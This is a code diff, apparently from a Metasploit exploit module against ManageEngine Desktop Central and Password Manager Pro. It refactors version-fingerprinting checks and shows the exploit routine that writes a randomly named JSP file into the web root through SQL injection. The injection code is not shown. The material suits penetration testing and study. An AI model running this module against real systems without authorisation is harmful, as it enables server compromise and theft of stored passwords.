@@ -118,88 +118,51 @@ def initialize(info={})
118
118
register_advanced_options (
119
119
[
120
120
OptInt . new ( 'CHUNK_SIZE' ,
121
- [ true , 'Number of characters to send per request (< 7800)' , 7500 ] ) ,
121
+ [ true , 'Number of characters to send per request (< 7800)' , 7500 ] ) ,
122
122
OptInt . new ( 'SLEEP' ,
123
- [ true , 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)' , 2 ] ) ,
123
+ [ true , 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)' , 2 ] ) ,
124
124
OptBool . new ( 'EXE_SMALL' ,
125
- [ true , 'Use exe-small encoding for better reliability' , true ] ) ,
125
+ [ true , 'Use exe-small encoding for better reliability' , true ] ) ,
126
126
] , self . class )
127
127
128
128
end
129
129
130
-
131
130
def check
132
- # Test for Desktop Central
133
- res = send_request_cgi ( {
134
- 'uri' => normalize_uri ( "configurations.do" ) ,
135
- 'method' => 'GET'
136
- } )
131
+ check_code = check_desktop_central
137
132
138
- if res and res . code == 200
139
- if res . body . to_s =~ /ManageEngine Desktop Central 7/ or
140
- res . body . to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
141
- # DC v7 uses the MySQL database
142
- print_status ( "#{ peer } - Detected Desktop Central v7 (MySQL)" )
143
- return Exploit ::CheckCode ::Appears
144
- elsif res . body . to_s =~ /ManageEngine Desktop Central 8/ or
145
- res . body . to_s =~ /ManageEngine Desktop Central MSP 8/
146
- if res . body . to_s =~ /id="buildNum" value="([0-9]+)"\/ >/ # DC v8
147
- build = $1
148
- if build > "80200"
149
- print_status ( "#{ peer } - Detected Desktop Central v8 #{ build } " )
150
- return Exploit ::CheckCode ::Appears
151
- else
152
- print_status ( "#{ peer } - Detected Desktop Central v8 #{ build } (MySQL)" )
153
- end
154
- else
155
- print_status ( "#{ peer } - Detected Desktop Central v8 (MySQL)" )
156
- end
157
- # DC v8 < 80200 uses the MySQL database
158
- return Exploit ::CheckCode ::Appears
159
- elsif res . body . to_s =~ /ManageEngine Desktop Central 9/ or
160
- res . body . to_s =~ /ManageEngine Desktop Central MSP 9/
161
- if res . body . to_s =~ /id="buildNum" value="([0-9]+)"\/ >/ # DC v9
162
- build = $1
163
- print_status ( "#{ peer } - Detected Desktop Central v9 #{ build } " )
164
- if build < "90039"
165
- return Exploit ::CheckCode ::Appears
166
- else
167
- return Exploit ::CheckCode ::Safe
168
- end
169
- end
170
- end
133
+ if check_code == Exploit ::CheckCode ::Unknown
134
+ check_code = check_password_manager_pro
171
135
end
172
136
173
- # Test for Password Manager Pro
174
- res = send_request_cgi ( {
175
- 'uri' => normalize_uri ( "PassTrixMain.cc" ) ,
176
- 'method' => 'GET'
177
- } )
137
+ check_code
138
+ end
178
139
179
- if res and res . code == 200 and
180
- res . body . to_s =~ /ManageEngine Password Manager Pro/ and
181
- ( res . body . to_s =~ /login\. css\? ([0-9]+)/ or # PMP v6
182
- res . body . to_s =~ /login\. css\? version=([0-9]+)/ or # PMP v6
183
- res . body . to_s =~ /\/ themes\/ passtrix\/ V([0-9]+)\/ styles\/ login\. css"/ ) # PMP v7
184
- build = $1
185
- if build < "7003"
186
- if build < "6800"
187
- # PMP v6 < 6800 uses the MySQL database
188
- print_status ( "#{ peer } - Detected Password Manager Pro v6 #{ build } (MySQL)" )
189
- else
190
- print_status ( "#{ peer } - Detected Password Manager Pro v6 / v7 #{ build } " )
191
- end
192
- if build >= "6500"
193
- # if it's a build below 6500, it will only work if we have a JSP compiler
194
- return Exploit ::CheckCode ::Appears
195
- end
196
- else
197
- print_status ( "#{ peer } - Detected Password Manager Pro v6 / v7 #{ build } " )
198
- return Exploit ::CheckCode ::Safe
199
- end
140
+ def exploit
141
+ @my_target = pick_target
142
+ if @my_target . nil?
143
+ fail_with ( Failure ::NoTarget , "#{ peer } - Automatic targeting failed." )
144
+ else
145
+ print_status ( "#{ peer } - Selected target #{ @my_target . name } " )
200
146
end
201
- end
202
147
148
+ # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
149
+ # Fail if this is the case to avoid polluting the web root any more.
150
+ if @my_target [ 'Platform' ] == 'linux' and payload_instance . name =~ /windows/i
151
+ fail_with ( Failure ::BadConfig , "#{ peer } - Select a compatible payload for this Linux target." )
152
+ end
153
+
154
+ if datastore [ 'WEB_ROOT' ]
155
+ web_root = datastore [ 'WEB_ROOT' ]
156
+ else
157
+ web_root = @my_target [ 'WebRoot' ]
158
+ end
159
+
160
+ jsp_name = rand_text_alpha_lower ( 8 ) + ".jsp"
161
+ fullpath = web_root + jsp_name
162
+ register_file_for_cleanup ( fullpath . sub ( '../' , '' ) )
163
+
164
+ inject_exec ( jsp_name , fullpath )
165
+ end
203
166
204
167
def pick_target
205
168
return target if target . name != 'Automatic'
@@ -531,30 +494,110 @@ def inject_exec(jsp_name, fullpath)
531
494
handler
532
495
end
533
496
534
-
535
- def exploit
536
- @my_target = pick_target
537
- if @my_target . nil?
538
- fail_with ( Failure ::NoTarget , "#{ peer } - Automatic targeting failed." )
497
+ def check_desktop_central_8 ( body )
498
+ if body =~ /id="buildNum" value="([0-9]+)"\/ >/
499
+ build = $1
500
+ if ver_gt ( build , '80200' )
501
+ print_status ( "#{ peer } - Detected Desktop Central v8 #{ build } " )
502
+ else
503
+ print_status ( "#{ peer } - Detected Desktop Central v8 #{ build } (MySQL)" )
504
+ end
539
505
else
540
- print_status ( "#{ peer } - Selected target #{ @my_target . name } " )
506
+ print_status ( "#{ peer } - Detected Desktop Central v8 (MySQL) " )
541
507
end
542
- # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
543
- # Fail if this is the case to avoid polluting the web root any more.
544
- if @my_target [ 'Platform' ] == 'linux' and payload_instance . name =~ /Windows/
545
- fail_with ( Failure ::BadConfig , "#{ peer } - Select a compatible payload for this Linux target." )
508
+ # DC v8 < 80200 uses the MySQL database
509
+ Exploit ::CheckCode ::Appears
510
+ end
511
+
512
+ def check_desktop_central_9 ( body )
513
+ if body =~ /id="buildNum" value="([0-9]+)"\/ >/
514
+ build = $1
515
+ print_status ( "#{ peer } - Detected Desktop Central v9 #{ build } " )
516
+ if ver_lt ( build , '90039' )
517
+ return Exploit ::CheckCode ::Appears
518
+ else
519
+ return Exploit ::CheckCode ::Safe
520
+ end
546
521
end
522
+ end
547
523
548
- if datastore [ 'WEB_ROOT' ]
549
- web_root = datastore [ 'WEB_ROOT' ]
524
+ # Test for Desktop Central
525
+ def check_desktop_central
526
+ res = send_request_cgi ( {
527
+ 'uri' => normalize_uri ( "configurations.do" ) ,
528
+ 'method' => 'GET'
529
+ } )
530
+
531
+ unless res && res . code == 200
532
+ return Exploit ::CheckCode ::Unknown
533
+ end
534
+
535
+ if res . body . to_s =~ /ManageEngine Desktop Central 7/ ||
536
+ res . body . to_s =~ /ManageEngine Desktop Central MSP 7/
537
+ # DC v7 uses the MySQL database
538
+ print_status ( "#{ peer } - Detected Desktop Central v7 (MySQL)" )
539
+ return Exploit ::CheckCode ::Appears
540
+ elsif res . body . to_s =~ /ManageEngine Desktop Central 8/ ||
541
+ res . body . to_s =~ /ManageEngine Desktop Central MSP 8/
542
+ return check_desktop_central_8 ( res . body . to_s )
543
+ elsif res . body . to_s =~ /ManageEngine Desktop Central 9/ ||
544
+ res . body . to_s =~ /ManageEngine Desktop Central MSP 9/
545
+ return check_desktop_central_9 ( res . body . to_s )
546
+ end
547
+
548
+ Exploit ::CheckCode ::Unknown
549
+ end
550
+
551
+ # Test for Password Manager Pro
552
+ def check_password_manager_pro
553
+ res = send_request_cgi ( {
554
+ 'uri' => normalize_uri ( "PassTrixMain.cc" ) ,
555
+ 'method' => 'GET'
556
+ } )
557
+
558
+ if res && res . code == 200 &&
559
+ res . body . to_s =~ /ManageEngine Password Manager Pro/ &&
560
+ (
561
+ res . body . to_s =~ /login\. css\? ([0-9]+)/ || # PMP v6
562
+ res . body . to_s =~ /login\. css\? version=([0-9]+)/ || # PMP v6
563
+ res . body . to_s =~ /\/ themes\/ passtrix\/ V([0-9]+)\/ styles\/ login\. css"/ # PMP v7
564
+ )
565
+ build = $1
550
566
else
551
- web_root = @my_target [ 'WebRoot' ]
567
+ return Exploit :: CheckCode :: Unknown
552
568
end
553
569
554
- jsp_name = rand_text_alpha_lower ( 8 ) + ".jsp"
555
- fullpath = web_root + jsp_name
556
- register_file_for_cleanup ( fullpath . sub ( '../' , '' ) )
557
570
558
- inject_exec ( jsp_name , fullpath )
571
+ if ver_lt_eq ( build , '6500' )
572
+ # if it's a build below 6500, it will only work if we have a JSP compiler
573
+ print_status ( "#{ peer } - Detected Password Manager Pro v6 #{ build } (needs a JSP compiler)" )
574
+ return Exploit ::CheckCode ::Detected
575
+ elsif ver_lt ( build , '6800' )
576
+ # PMP v6 < 6800 uses the MySQL database
577
+ print_status ( "#{ peer } - Detected Password Manager Pro v6 #{ build } (MySQL)" )
578
+ return Exploit ::CheckCode ::Appears
579
+ elsif ver_lt ( build , '7003' )
580
+ print_status ( "#{ peer } - Detected Password Manager Pro v6 / v7 #{ build } " )
581
+ return Exploit ::CheckCode ::Appears
582
+ else
583
+ print_status ( "#{ peer } - Detected Password Manager Pro v6 / v7 #{ build } " )
584
+ Exploit ::CheckCode ::Safe
585
+ end
586
+ end
587
+
588
+ def ver_lt ( a , b )
589
+ Gem ::Version . new ( a ) < Gem ::Version . new ( b )
590
+ end
591
+
592
+ def ver_lt_eq ( a , b )
593
+ Gem ::Version . new ( a ) <= Gem ::Version . new ( b )
594
+ end
595
+
596
+ def ver_gt_eq ( a , b )
597
+ Gem ::Version . new ( a ) >= Gem ::Version . new ( b )
598
+ end
599
+
600
+ def ver_gt ( a , b )
601
+ Gem ::Version . new ( a ) > Gem ::Version . new ( b )
559
602
end
560
603
end
0 commit comments